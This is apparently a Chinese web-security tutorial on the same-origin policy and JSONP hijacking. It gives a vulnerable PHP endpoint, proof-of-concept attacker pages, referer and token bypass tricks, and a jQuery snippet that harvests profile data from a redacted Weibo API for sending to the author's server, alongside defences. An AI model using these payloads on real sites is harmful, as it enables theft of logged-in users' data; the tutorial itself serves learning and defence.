前言
讲到JSONP,那么我们就要从浏览器的同源策略开始说起了。
浏览器的同源策略
SOP,全称为同源策略 (Same Origin Policy),该策略是浏览器的一个安全基石,如果没有同源策略,那么,你打开了一个合法网站,又打开了一个恶意网站。恶意网站的脚本能够随意的操作合法网站的任何可操作资源,没有任何限制。浏览器要严格隔离两个不同源的网站,目的是保证数据的完整性和机密性。
浏览器的同源策略规定:不同域的客户端脚本在没有明确授权的情况下,不能读写对方的资源。那么何为同源呢,即两个站点需要满足同协议,同域名,同端口这三个条件。
“同源”的定义:
域名
协议
tcp端口号
只要以上三个值是相同的,我们就认为这两个资源是同源的。
为了更好的解释这个概念,以下这张图片将利用http://www.example.com/dir/page.html
这个url作为示例,展示在同源策略控制下不同的结果:
JSONP的介绍
简单描述
JSONP 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写。
JSONP实现跨域请求的原理简单的说,就是动态创建<script>
标签,然后利用<script>
的src 不受同源策略约束来跨域获取数据。
JSONP 由两部分组成:回调函数和数据。回调函数是当响应到来时应该在页面中调用的函数。回调函数的名字一般是在请求中指定的。而数据就是传入回调函数中的 JSON 数据。
动态创建<script>
标签,设置其src,回调函数在src中设置:
var script = document.createElement("script");
script.src = "https://api.douban.com/v2/book/search?q=javascript&count=1&callback=handleResponse";
document.body.insertBefore(script, document.body.firstChild);
在页面中,返回的JSON作为response参数传入回调函数中,我们通过回调函数来来操作数据。
function handleResponse(response){
// 对response数据进行操作代码
}
深入研究
首先来看看同源策略到底有什么作用:当浏览器发现有一个跨域的请求,但是它在服务器的返回头中如果没有发现
Access-Control-Allow-Origin
值允许 http://x.x.x.x 的访问,那么便会将其给拦截。
那么虽然浏览器受到了同源策略的限制,不允许实现跨域访问,但是由于在开发过程中,其中的前后端的交互过程中不可避免会涉及到跨域的请求(设计同源策略的人想必也发现了这个问题),于是设计者给我们留了一个后门,就是只要服务器响应头中返回允许这个源的选项,那么跨域请求就会成功。(这里纠正一个误区,不要认为浏览器默认支持同源策略就意味着不同源的请求就不能发出去,其实还是能发出去的,只是要看响应头)
我们都知道在页面中有几个东西是对同源策略免疫的,有 <img>
的src 、<link>
的 href 还有就是<script>
的 src , 那么JSONP 就是利用其中的 <script>
标签的sec 属性实现跨区域请求的。
<script>
标签的请求不论是不是同源一律不受同源策略的限制,那我们就找到了解决跨域访问的方法。
这里我们用一个例子来更加直观的展示:
getUser.php代码如下:
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
请求该接口并加上jsoncallback=1,即访问http://127.0.0.1/jsonp%20poc/getuser.php?jsoncallback=1
,返回值如下:
在返回值开头中可见1,如果我们修改callback的值为其他值,此处的返回值也会相应改变。
1.html代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/JSONP PoC/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>
我们在<script>
标签里面给出的链接是我本地服务器的一个php的代码,我给这个文件传递了一个参数,作为我要调用的函数。服务器接收到这个参数以后把它当做函数名,并给这个函数传递了一个json的值作为用户调用的函数的参数,最终实现调用。
实际上,jquery 给我们提供了现成的接口,我们可以不用这么麻烦。
2.html代码如下:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
$.getJSON("http://127.0.0.1/JSONP PoC/getUser.php?jsoncallback=?", function(getUsers){
alert(getUsers.name);
});
</script>
</body>
</html>
所以整个的具体过程其实就是:
我们把回调函数给了服务器,服务器把json参数给了回来。
JSONP劫持漏洞的学习
JSONP劫持的原理
这里就简单的说一下:
JSONP就是为了跨域获取资源而产生的一种非官方的技术手段(官方的有 CORS 和 postMessage),它利用的是 <script>
标签的 src 属性不受同源策略影响的特性。
那么劫持又是怎么回事呢?其实我们在学安全的过程中对劫持这个词可以说是一点也不陌生,我们遇到过很多的劫持的攻击方法,比如:dns 劫持、点击劫持、cookie劫持等等,也正如劫持这个词的含义:“拦截挟持”,dns 劫持就是把 dns 的解析截获然后篡改,点击劫持就是截获你的鼠标的点击动作,在用户不知情的情况下点击攻击者指定的东西;cookie 劫持就是获取用户的 cookie,然后可以进一步伪造身份;那么同样, jsonp劫持
就是攻击者获取了本应该传给网站其他接口的数据。
JSONP劫持漏洞如何利用和它有什么危害
通过JSONP技术可以实现数据的跨域访问,必然会产生安全问题,如果网站B对网站A的JSONP请求没有进行安全检查直接返回数据,则网站B 便存在JSONP 漏洞,网站A 利用JSONP漏洞能够获取用户在网站B上的数据。
1.漏洞利用过程
1)用户在网站B 注册并登录,网站B 包含了用户的id,name,email等信息;
2)用户通过浏览器向网站A发出URL请求;
3)网站A向用户返回响应页面,响应页面中注册了JavaScript的回调函数和向网站B请求的<script>
标签,示例代码如下:>标签,示例代码如下:
<script type="text/javascript">
function Callback(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://B.com/user?jsonp=Callback"></script>
4)用户收到响应,解析JS代码,将回调函数作为参数向网站B发出请求;
5)网站B接收到请求后,解析请求的URL,以JSON 格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器,网站B返回的数据实例如下:
Callback({"id":1,"name":"test","email":"test@test.com"})
6)网站B数据返回后,浏览器则自动执行Callback函数对步骤4返回的JSON格式数据进行处理,通过alert弹窗展示了用户在网站B的注册信息。另外也可将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息。
2.利用图
3.危害
1.攻击者利用存在漏洞的网站,将链接通过邮件等形式推送给受害者,如果受害者点击了链接,则攻击者便可以获取受害者的个人敏感的信息。所以JSONP劫持漏洞会泄露信息。
2.可能导致用户权限被盗用;
攻击者通过JSON劫持构造盗取管理员或高权限用户的脚本,一旦被访问,权限立即被盗用。
3. 可以通过劫持对网页进行挂马;
在JSON劫持点构造引向漏洞后门木马,但访问直接利用漏洞批量挂马。
4. 可对劫持页进行网站钓鱼;
利用JSON劫持直接导向伪装网站地址。
5. 可做提权攻击;
6. 变种拒绝服务攻击;
劫持后将流量导向受害网站,直接发动DDOS攻击。
JSONP 漏洞的挖掘思路(和下面的 JSONP劫持漏洞实例 对应)
这里我采用chrome浏览器的调试窗口进行挖掘weibo.com中存在的漏洞(测试之前需要登录一下,因为我们需要检测是不是会有敏感信息泄露)
1.首先把Preserve log选项勾上,这样用来防止页面刷新跳转的时候访问记录被重置,也方便我们进行下一步的筛选。
2.然后 F5 刷新,进入 NetWork 标签 ,CTRL+F
结合 Filter
查找一些关键词 如 callback,json ,jsonp,email (其中筛选出来的结果对应下面的getUser.php)
(2)CTRL + F
中进行关键字筛选之后可以看到筛选结果:
3.然后我们需要人工确认这个请求的返回值是否有泄露用户的敏感信息,并且能被不同的域的页面去请求获取,这里以上面查找到的 jsonp 为例。直接双击上面红框中的链接,页面出现以下结果:
4.发现并不是什么很有价值的信息,再来看看能不能被不同的域的页面请求到(也就是测试一下服务器端有没有对其验证请求来源) (对应下面的payload利用)
发现换成了别的浏览器还是能检测到,说明验证的来源有些问题
JSONP劫持漏洞实例(和上面的 JSONP 漏洞的挖掘思路 对应)
JSONP是一种简单的服务器与客户端跨域通信的办法,此种跨域只能发起GET请求。还有个例子可看这里:https://blog.csdn.net/weixin_50464560/article/details/119647485
,形如其中的?callback=hello
。这里的例子是这样:
正常情况下getUser.php中的数据,只有referer字段是www.xxx.com
才能访问;然后这里新建一个站点www.test.com
,在里面写入下面的PoC以此跨域获取敏感信息:
getUser.php(对应上面filter配合ctrl+F筛选出来的结果)
这里出现了callback他的作用就是回调我们的json。
<?php
header('Content-type: application/json');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);//获取回调函数名
//json数据
//$json_data = '["id","user"]';
$json_data='({"id":"1","name":"Aaron"})';
echo $jsoncallback . "(" . $json_data . ")";//输出jsonp格式的数据
?>
请求该接口并加上jsoncallback=1,即访问http://127.0.0.1/jsonp%20poc/getuser.php?jsoncallback=1
,返回值如下:
在返回值开头中可见1,如果我们修改callback的值为其他值,此处的返回值也会相应改变。我们可以劫持callback参数,自己构造callback处理函数,受害者点击我们伪造的链接后,向真正的jsonp接口发起请求,请求得到数据的处理方式由我们自己的callback处理函数处理,由此可以达到劫持目的。
Payload利用
新建一个站点www.test.com
:
web程序如果通过这种方式跨域之后,攻击者完全可以在自己的虚假页面中发起恶意的jsonp请求,这就引来了安全问题。比如: (对应上面的跨域)
1.客户端实现 callbackFunction 函数:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
</head>
<body>
<script type="text/javascript">
function callbackFunction(result)
{
alert(result.name);
}
</script>
<script type="text/javascript" src="http://127.0.0.1/JSONP PoC/getUser.php?jsoncallback=callbackFunction"></script>
</body>
</html>
我们在<script>
标签里面给出的链接是我本地服务器的一个php的代码,我给这个文件传递了一个参数,作为我要调用的函数。服务器接收到这个参数以后把它当做函数名,并给这个函数传递了一个json的值作为用户调用的函数的参数,最终实现调用。>标签里面给出的链接是我本地服务器的一个php的代码,我给这个文件传递了一个参数,作为我要调用的函数。服务器接收到这个参数以后把它当做函数名,并给这个函数传递了一个json的值作为用户调用的函数的参数,最终实现调用。
本地模拟受害者 访问一下www.test.com/json.html
弹窗。下面是调用成功的截图:
看一下referer:
Referer http://www.test.com/json.html
getUser.php
没有对请求的referer进行限制,导致数据泄露。
如果服务器端的userinfo接口支持jsonp,那就会使虚假页面成功执行callbackFunction函数,从而导致安全问题。
2.jQuery 使用 JSONP:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title>JSONP劫持测试</title>
<script src="http://cdn.static.runoob.com/libs/jquery/1.8.3/jquery.js"></script>
</head>
<body>
<div id="divCustomers"></div>
<script type="text/javascript">
$.getJSON("http://127.0.0.1/JSONP PoC/getUser.php?jsoncallback=?", function(getUsers){
alert(getUsers.name);
});
</script>
</body>
</html>
修复
限制referer:
if ($_SERVER['HTTP_REFERER']!=='http://www.xxx.com/1.html') {
exit("非法访问");
}
使用token
随机的生成一段token值,每次提交表单都要检查,攻击者没有token就不能访问。
绕过
针对上面两种修复方式 也都有对应的绕过方式
data URI 绕过 referer
data URI
不会发送referer头,data还可以使用base64编码
https转到http referer
https转到http会返回一个空的referer (为了防止数据泄露)
绕过token
这里有一个比较好的例子:http://www.91ri.org/13407.html
JSON劫持可能存在的点
1.Referer过滤不严谨;
2.空Referer(在通过跨协议调用JS时,发送的http请求里的Referer为空);
3.CSRF调用json文件方式不安全,token可重复利用;
4.JSON输出的Content-Type及编码不符合标准(gb2312可能存在宽字节注入);
5.未严格过滤callback函数名及JSON里数据的输出;
6.未严格限制JSONP输出callback函数名的长度。
需要满足的条件
1.使用JSONP获取数据;
2.未检测referer字段或者验证了 referer字段,但是验证方式不严谨,如需要验证的referer字段为 www.xxx.com 域,但是 www.xxx.com.mydomain.com 同样能够绕过;
3.GET请求中不包含token相关的参数
自动化挖掘
如何挖掘这样的接口呢?我们可以使用Fiddler、burpsuite或者F12等方法去一个个检查,但这样很累就是了。下面介绍一种轻松的方式。
更轻松的方式:自动化测试工具Selenium + Proxy + 验证脚本
(1)Selenium:可用于自动化对网页进行测试,“到处”点击按钮、超链接,以期待测试更多的接口;
(2)Proxy:用于代理所有的请求,过滤出所有包含敏感信息的JSONP请求,并记录下HTTP请求;
(3)验证脚本:使用上述的HTTP请求,剔除referer字段,再次发出请求,测试返回结果中,是否仍包敏感信息,如果有敏感信息,说明这个接口就是我们要找的!
测试
使用脚本进行测试,我以sina为例,首先需要登录sina帐号,微博或者博客都可以,然后开启浏览器代理,运行我们的脚本,最后浏览网页,就能检测出这样的JSONP接口了
至此发现该JSONP接口,简单写两句JS代码放到我们的网站上:
$.ajax({
url: 'https://api.weibo.com/2/{隐藏了哦}',
type: 'get',
dataType: 'jsonp',
}).done(function(json){
var id = json['data']['id'];
var screen_name = json['data']['screen_name'];
var profile_image_url = json['data']['profile_image_url'];
var post_data = '';
post_data += 'id=' + id + '&';
post_data += 'screen_name=' + screen_name + '&';
post_data += 'profile_image_url=' + encodeURIComponent(profile_image_url);
console.log(post_data);
// 发送到我的服务器上
}).fail(function() {});
相关的代码在Github上:地址
相关扩展
(1)既然是窃取敏感信息,那么敏感信息除了一些 email 手机号 用户名等还有什么呢?没错,甚至可以是 CSRF Token 信息,有时候在 CSRF token 获取不到但是又找不到 XSS 的攻击点的时候不妨考虑一下 jsonp 劫持,看看会不会有惊喜
(2)还有一点,你有没有觉得这个攻击方式有点类似于 CSRF ,是的,的确很像,因此这也就引出了非常类似的修复方案。
如何防御
其实json劫持和jsonp劫持属于CSRF( Cross-site request forgery 跨站请求伪造)的攻击范畴,所以解决的方法和解决csrf的方法差不多,可以参考csrf的防御。下面也介绍一些:
1、严格安全的实现 CSRF 方式调用 JSON 文件:限制 Referer 、部署一次性 Token 等。
2、严格安装 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )。
3、严格过滤 callback 函数名及 JSON 里数据的输出。
4、严格限制对 JSONP 输出 callback 函数名的长度(如防御上面 flash 输出的方法)。
5、其他一些比较“猥琐”的方法:如在 Callback 输出之前加入其他字符(如:/**/、回车换行)这样不影响 JSON 文件加载,又能一定程度预防其他文件格式的输出。还比如 Gmail 早起使用 AJAX 的方式获取 JSON ,听过在输出 JSON 之前加入 while(1) ;这样的代码来防止 JS 远程调用。
参考
http://www.mottoin.com/tech/123337.html
https://www.anquanke.com/post/id/97671
https://xiaix.me/fan-yi-wa-jue-tong-yuan-fang-fa-zhi-xing-lou-dong-same-origin-method-execution/
https://www.k0rz3n.com/2019/03/07/JSONP%20%E5%8A%AB%E6%8C%81%E5%8E%9F%E7%90%86%E4%B8%8E%E6%8C%96%E6%8E%98%E6%96%B9%E6%B3%95/
https://wooyun.js.org/drops/JS%E6%95%8F%E6%84%9F%E4%BF%A1%E6%81%AF%E6%B3%84%E9%9C%B2%EF%BC%9A%E4%B8%8D%E5%AE%B9%E5%BF%BD%E8%A7%86%E7%9A%84WEB%E6%BC%8F%E6%B4%9E.html
https://www.infosec-wiki.com/?p=455211
https://www.cnblogs.com/52php/p/5677775.html
http://www.91ri.org/13407.html
https://www.freebuf.com/articles/web/70025.html